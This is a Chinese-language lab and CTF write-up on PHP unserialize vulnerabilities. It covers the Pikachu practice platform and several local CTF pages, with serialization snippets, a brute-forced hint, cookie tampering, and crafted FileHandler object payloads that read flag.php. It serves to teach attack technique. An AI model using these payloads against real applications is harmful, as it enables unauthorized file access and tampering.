Pikachu反序列化实验、CTF实验

Pikachu反序列化

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

触发：unserialize函数的变量可控，文件中存在可利用的类，类中有魔术方法：

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

https://c.runoob.com/compile/1/

序列化：

 $a=\'abc\';

 echo serialize($a);

?>

反序列化：

 $b=\'s:3:\"abc\";\';

 echo unserialize($b);

?>

 class S{

          var $test=\"pikachu\";

          function __construct(){

                   echo $thie->test;

          }

 }

$aa =new S();

echo serialize($aa);

?>

序列化

 class MM{

          var $test=\"pikachu\";

          function __construct(){

                   echo \"hello world\";

          }

 }

$sss = new MM();

echo  serialize($sss);

?>

输入语句：O:1:\"S\":1:{s:4:\"test\";s:29:\"\";}

输入语句： O:1:\"S\":1:{s:4:\"test\";s:7:\"pikachu\";}

CTF实验

访问http://192.168.249.1/ctf/ctf.php

序列化

 $KEY = \"hahaha\";

 echo serialize($KEY);

?>

http://192.168.249.1/ctf/ctf.php?str=s:6:%22hahaha%22; 反序列化成功

访问http://192.168.249.1/ctf2/ctf2.php

访问http://192.168.249.1/ctf2/ctf2.php?aaa=111 挂代理抓包

发送到批量破解

选择4位字符 4 letter words

破解出hint

访问http://192.168.249.1/ctf2/ctf2.php?hint=111

s:21:\"ISecer:www.isecer.com\";

添加一个cookie

访问http://192.168.249.1/ctf2/ctf2.php

s:0:\"\";    空值反序列化

修改ISecer的cookie值

访问http://192.168.249.1/ctf2/ctf2.php

访问http://192.168.249.1/ctf3/

s:5:\"11111\";  得出序列化值

访问http://192.168.249.1/ctf3/?str=s:5:%2211111%22;  正确反序列化

访问http://192.168.249.1/ctf3/?str=111 纯数字化 不行

class FileHandler {

    public $op = \'1\';

    public $filename = \'flag.php\';

    public $content = \'Hello World!\';

}

$aaa = new FileHandler();

echo serialize($aaa);

?>

得到：

O:11:\"FileHandler\":3:{s:2:\"op\";s:1:\"1\";s:8:\"filename\";s:8:\"flag.php\";s:7:\"content\";s:12:\"Hello World!\";}

访问str= O:11:\"FileHandler\":3:{s:2:\"op\";s:1:\"4\";s:8:\"filename\";s:8:\"flag.php\";s:7:\"content\";s:12:\"Hello World!\";}

http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:1:%224%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

访问str= O:11:\"FileHandler\":3:{s:2:\"op\";s:1:\"1\";s:8:\"filename\";s:8:\"flag.php\";s:7:\"content\";s:12:\"Hello World!\";}

http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:1:%221%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

class FileHandler {

    public $op = \' 2\';

    public $filename = \'flag.php\';

    public $content = \'\';

}

$aaa = new FileHandler();

echo serialize($aaa)

?>

得到：O:11:\"FileHandler\":3:{s:2:\"op\";s:2:\" 2\";s:8:\"filename\";s:8:\"flag.php\";s:7:\"content\";s:0:\"\";}

切换版本

访问http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;}

修改flag.php

访问http://192.168.249.1/ctf3/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;}

修改index.php

再访问